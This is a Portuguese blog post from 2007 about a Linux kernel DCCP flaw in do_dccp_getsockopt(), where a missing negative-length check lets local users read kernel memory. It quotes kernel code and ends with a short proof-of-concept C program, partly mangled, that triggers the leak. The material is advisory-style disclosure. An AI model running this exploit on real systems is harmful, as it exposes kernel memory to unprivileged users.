Falha de segurança no suporte DCCP em Linux
Já há algum tempo que não via uma falha local assim no Kernel Linux. Esta falha de segurança, presente na implementação do protocolo DCCP, permite que utilizadores locais possam roubar dados directamente da memória pertencente ao kernel.

Apresenta-se de seguida informações mais específicas sobre esta falha descoberta por Robert Swiecki.
Vulnerable Systems:
Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
Kernel versions <2.6.20 lack
DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
getsockopt() call with SOL_DCCP level, which are used in the
delivered POC code.
Details:
The flaw exists in do_dccp_getsockopt() function in
net/dccp/proto.c file.
-----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname, char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
return -EFAULT;
if (len < sizeof(int))
return -EINVAL;
...
-----------------------
The above code doesn't check `len' variable for negative values.
Because of cast typing (len < sizeof(int)) is always true for 'len' values less than 0.
After that copy_to_user() procedure is called:
-----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;
-----------------------
What happens next depends greatly on the cpu architecture in-use-each cpu architecture has its own copy_to_user() implementation. On the IA-32 the code below ...
-----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n){
BUG_ON((long) n < 0);
-----------------------
... will prevent explotation, but kernel will oops due to
invalid opcode in BUG_ON().
On some other architectures (e.g. x86-64) kernel-space data will be copied to the user supplied buffer until end-of-kernel space (pagefault in kernel-mode occurs) is reached.
POC: */
-
int main(int argc, char *argv[]){
-
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
-
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
-
if (mem == (void*)-1) {
-
return -1;
-
}
-
/* SOCK_DCCP, IPPROTO_DCCP */
-
int s = socket(PF_INET, 6, 33);
-
if (s == -1) {
-
fprintf(stderr, "socket failure!\n");
-
return 1;
-
}
-
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
-
int len = BUFSIZE;
-
int x = getsockopt(s, 269, 11, mem, &len);
-
-
if (x == -1)
-
perror("SETSOCKOPT");
-
else
-
-
write(1, mem, BUFSIZE);
-
-
return 0;
-
}
This entry was posted by ponto on Wednesday, March 28th, 2007 at 8:37 pm and is filed under Linux, Segurança. You can follow any responses to this entry through the RSS 2.0 feed. You can skip to the end and leave a response. Pinging is currently not allowed.